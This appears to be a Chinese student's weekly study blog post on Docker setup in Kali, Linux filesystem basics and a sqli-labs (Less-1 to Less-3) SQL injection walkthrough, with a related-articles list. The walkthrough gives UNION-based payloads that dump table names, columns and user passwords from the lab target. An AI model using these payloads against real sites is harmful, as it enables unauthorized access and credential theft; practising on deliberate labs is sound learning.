第二周学习周报2026.9.21 - 2026.9.26本周主线Docker 安装与环境配置 → Linux 文件系统基础 → SQL 注入实战sqli-labs Less-1~3目录一、Docker 安装与环境配置1. 安装位置选择2. 安装命令3. 镜像加速器配置4. Docker 基本操作5. 踩坑记录二、搞懂 Linux 文件系统三、实践内容1. Docker 环境配置2. SQL 注入基础流程Less-1 ~ Less-33. MOECTF 2026 新生赛一、Docker 安装与环境配置1. 安装位置选择有 VMware Kali 的情况下Docker 装 Kali 里不装 Windows 主机。理由Kali 是后续打靶场、跑渗透工具的主战场Docker 装在里面环境统一。不需要额外装 WSL 2 后端少一层麻烦。有快照功能装崩了能一键回滚。2. 安装命令sudoaptupdatesudoaptinstall-ydocker.iosudosystemctlenabledocker--nowsudousermod-aGdocker$USER注意usermod加组后必须注销重登之后docker命令才不用加sudo。3. 镜像加速器配置国内直连 Docker Hub 基本拉不动需要配镜像源。编辑/etc/docker/daemon.json{registry-mirrors:[https://docker.m.daocloud.io]}保存后重启服务sudosystemctl daemon-reloadsudosystemctl restartdocker4. Docker 基本操作常用命令dockerrun hello-world# 跑一个测试容器dockerrun-itubuntubash# 拉 Ubuntu 镜像并进入容器dockerps# 看正在运行的容器dockerps-a# 看所有容器含已停止的dockerimages# 看本地已有镜像dockerrm容器ID# 删除容器dockerrmi镜像ID# 删除镜像进入容器后的验证ls# 查看目录结构pwd# 查看当前路径cat/etc/os-release# 查看系统版本whoami# 查看当前用户exit# 退出容器进入容器后提示符会变成root容器ID:/#跟宿主机的 Kali 提示符区分开。容器与镜像的区别镜像模板只读拉一次可以反复用。容器镜像跑起来的实例可以启停、删除。删容器不删镜像下次还能秒开新容器。5. 踩坑记录Docker 默认不走系统代理浏览器能打开 GitHub不代表 Docker 能拉镜像。需要在daemon.json里配镜像源或单独给 Docker 配代理。权限问题不加sudo报permission denied说明用户没加进docker组需要usermod 注销重登。国内网络环境Docker Hub 拉镜像经常超时配国内镜像加速器是标配操作。fcitx与fcitx5区分Kali 里装的是 fcitx4启动命令是fcitx不是fcitx5输错命令会报command-not-found。二、搞懂 Linux 文件系统摘自《北京大学计算机基础能力手册》Linux 认为什么都是文件于是Linux 的根目录/就成了所有文件的起点。Linux 使用/作为分隔符可以使用/来表示根目录使用..来表示上一级目录使用./来表示当前目录。需要注意的Linux 的文件系统是区分大小写的。/usr/local/bin目录通常会被包含在PATH变量中。可以使用ls -l命令来查看文件的权限。常见权限标识符含义权限含义常用场景755你自己能读写执行别人只能读和执行可执行文件、目录常用644你自己能读写别人只能读普通文件常用700只有你自己能读写执行别人什么都干不了私密文件、SSH 密钥常用⚠️chmod 777 -R /会导致系统所有成员全部被视同 root 用户进而导致系统无法正常工作。一般的文件类型只有三个普通文件、目录和链接文件。Linux 系统文件主要目录/bin包含系统启动和运行所需的基本命令和工具。在现代的 Linux 架构下/bin目录通常是/usr/bin的符号链接实际的可执行文件都放在/usr/bin目录下这是为了简化文件系统结构和维护而做出的调整。/sbin包含系统管理员使用的命令和工具。同样的现在通常直接链接到/usr/bin目录。/usr包含用户安装的软件和库文件。/var包含可变数据如日志文件、邮件等。/lib包含系统运行所需的共享库文件。出于和/bin和/sbin目录一样的原因现在通常直接链接到/usr/lib目录。/home包含用户的个人目录。/etc包含系统配置文件。/dev包含设备文件表示系统中的硬件设备。/proc包含系统进程和内核信息的虚拟文件系统。/tmp包含临时文件系统重启后会被清空。/opt这是特殊的软件包安装目录通常用于安装第三方软件。这些软件一般不会依赖于系统的其他部分因此被放在这个目录下以避免与系统文件发生冲突。/mnt挂载点通常用于挂载外部设备或分区。当我们需要访问一个新的分区或者设备时可以在/mnt目录下创建一个新的目录来挂载它。所有的 Linux 根目录基本都长这样只多不少。如果进入/dev我们会发现很多有意思的文件其实都是设备。关于用户切换在终端内使用su命令即可以超级用户开启以该用户为身份的 shell。sudo是以超级用户身份运行命令的意思。通过sudo我们可以授权某些用户以超级用户的身份执行特定命令而不需要直接使用 root 账户。三、实践内容1. Docker 环境配置拉取靶场镜像dockerrun-d-p8080:80 acgpiano/sqli-labs配置 Docker 代理解决拉取超时由于 Docker 默认不走系统代理直接拉取 Docker Hub 镜像会超时。需手动配置代理且代理地址应指向宿主机 IP非127.0.0.1[Service] EnvironmentHTTP_PROXYhttp://192.168.xxx.1:7890 EnvironmentHTTPS_PROXYhttp://192.168.xxx.1:7890配置后需systemctl daemon-reload并重启 Docker。2. SQL 注入基础流程Less-1 ~ Less-3核心思路判断闭合方式 → 判断列数 → 找回显位 → 爆库/表/列/数据。Less-1单引号闭合判断注入点?id1报错确认字符型注入。判断列数ORDER BY 3正常ORDER BY 4报错确认 3 列。找回显位?id-1 UNION SELECT 1,2,3--第 2、3 列回显。爆数据UNIONSELECT1,database(),version()UNIONSELECT1,2,group_concat(table_name)FROMinformation_schema.tablesWHEREtable_schemasecurityUNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_nameusersUNIONSELECT1,group_concat(username),group_concat(password)FROMusersLess-2数字型注入区别参数无引号包裹不需要闭合符号。判断方式?id1 AND 11正常?id1 AND 12无回显。后续流程与 Less-1 完全一致列数 3回显位 2、3。Less-3单引号 括号闭合判断闭合?id1报错信息中出现1)推断原 SQL 为id(1)。正确闭合?id1) --后续流程与 Less-1 一致payload 改为?id-1) UNION SELECT ...踩坑记录Docker 代理不生效配置127.0.0.1指向的是容器自身必须改成宿主机 IP192.168.xxx.1。VPN 需开启允许局域网否则 Kali 无法访问宿主机代理端口。--的作用--是 SQL 注释符在 URL 中代表空格用于注释掉原 SQL 剩余部分。ORDER BY用途按第几列排序数字超过实际列数会报错可用来判断列数。3. MOECTF 2026 新生赛本周参加了 MOECTF 2026 新生赛完成了签到、nc/ssh 工具使用、源码泄露等基础题目熟悉了 CTF 平台的操作流程和工具链。详细内容由于比赛规则限制不再阐述。
企业数字化 ERP 产品动态
相关推荐
营销型网站的目标:3个坑别踩,避开建站公司拖一周 营销型网站的目标:3个坑别踩,避开建站公司拖一周 改个需求建站公司拖一周,这场景是不是太熟了? 很多老板找外包做官网,合同签得清清楚楚,结果上线后想改个Banner图、换句文案,客服说“排期中”,一周后还没动静。这时候你才意识到,当初没把… · 2026/9/27 3:42:51
星闪技术替代工业网线:低时延无线网桥方案,解决PLC通讯布线难题 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/27 3:42:33
8259A中断控制器ICW寄存器初始化详解:从ICW1到ICW4 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/27 3:42:33
5招清理空壳网站避坑指南解决改需求拖延痛点 5招清理空壳网站避坑指南解决改需求拖延痛点 改个需求建站公司拖一周,这行话你是不是也听腻了?很多老板在找外包或者内部运维时,最头疼的不是技术多深,而是沟通成本太高。明明是个小改动,对方却以“架构复杂”为由一拖再拖。今天这篇避坑指南,专门聊聊… · 2026/9/27 4:17:19
明富MF-8502MN包埋苹果酸:怎样兼顾水相释放与持续酸感 直接答案
明富MF-8502MN是一款亲水型包埋苹果酸/苹果酸盐复配体系,主要面向糖果外撒、固体饮料、泡腾粉、压片糖果、微泡片。它要解决的核心问题是:冲调和泡腾产品既希望干态稳定,也希望入水后释放充分;单一强酸感还可能使口感过尖… · 2026/9/27 4:17:19
Quartus Prime Lite 20.1.1 与 ModelSim 安装配置及联调完整指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/27 4:17:07
网站代建设费用吗?5年实战避坑指南与源码解析 网站代建设费用吗?5年实战避坑指南与源码解析 别再被那些花里胡哨的模板网站忽悠了。很多老板花了几千块,拿回来一个套壳站,打开慢、样式丑,改个颜色还得求供应商,这钱花得冤不冤?我干了十年建站,见过太多这种“电子废品”。今天这篇 避坑指南… · 2026/9/27 4:16:42
位移传感器没信号?先别拆,万用表五步定位法 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/27 4:16:36
嵌入式硬件调试五法:串口打印、逻辑分析仪、JTAG/SWD等实战决策指南 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/27 4:16:36
MATLAB雷达信号脉冲压缩仿真:LFM线性调频、匹配滤波与距离分辨率实现 简介:这套Matlab仿真工具完整呈现雷达信号脉冲压缩过程,从线性调频(LFM)信号生成、目标回波仿真到匹配滤波压缩处理均有可运行代码支撑,面向电子信息工程、计算机、数学等专业学生,适用于课程设计、期末大作… · 2026/9/27 0:00:01
汕头网站建设制作厂家避坑指南:5大注意事项救急 汕头网站建设制作厂家避坑指南:5大注意事项救急 改个需求建站公司拖一周,这种憋屈事我见得太多了。 很多汕头老板找本地建站团队,签合同前看着方案挺美,一上线就变脸。 今天不聊虚的,直接拆解找 汕头网站建设制作厂家 时的5个核心 注意事项… · 2026/9/27 0:00:01
多模态虚假新闻检测实战:BERT+ResNet双塔与对比学习 简介:基于PyTorch的多模态虚假新闻检测项目完整代码包,面向自然语言处理与计算机视觉交叉方向的开发者、科研人员及毕业设计选题者,解决社交媒体中文本与图像联合识别虚假新闻的问题。系统以BERT预训练模型提取文本语义特征,以Res… · 2026/9/27 0:00:01
MATLAB雷达信号脉冲压缩仿真:LFM线性调频、匹配滤波与距离分辨率实现 简介:这套Matlab仿真工具完整呈现雷达信号脉冲压缩过程,从线性调频(LFM)信号生成、目标回波仿真到匹配滤波压缩处理均有可运行代码支撑,面向电子信息工程、计算机、数学等专业学生,适用于课程设计、期末大作… · 2026/9/27 0:00:01
汕头网站建设制作厂家避坑指南:5大注意事项救急 汕头网站建设制作厂家避坑指南:5大注意事项救急 改个需求建站公司拖一周,这种憋屈事我见得太多了。 很多汕头老板找本地建站团队,签合同前看着方案挺美,一上线就变脸。 今天不聊虚的,直接拆解找 汕头网站建设制作厂家 时的5个核心 注意事项… · 2026/9/27 0:00:01
多模态虚假新闻检测实战:BERT+ResNet双塔与对比学习 简介:基于PyTorch的多模态虚假新闻检测项目完整代码包,面向自然语言处理与计算机视觉交叉方向的开发者、科研人员及毕业设计选题者,解决社交媒体中文本与图像联合识别虚假新闻的问题。系统以BERT预训练模型提取文本语义特征,以Res… · 2026/9/27 0:00:01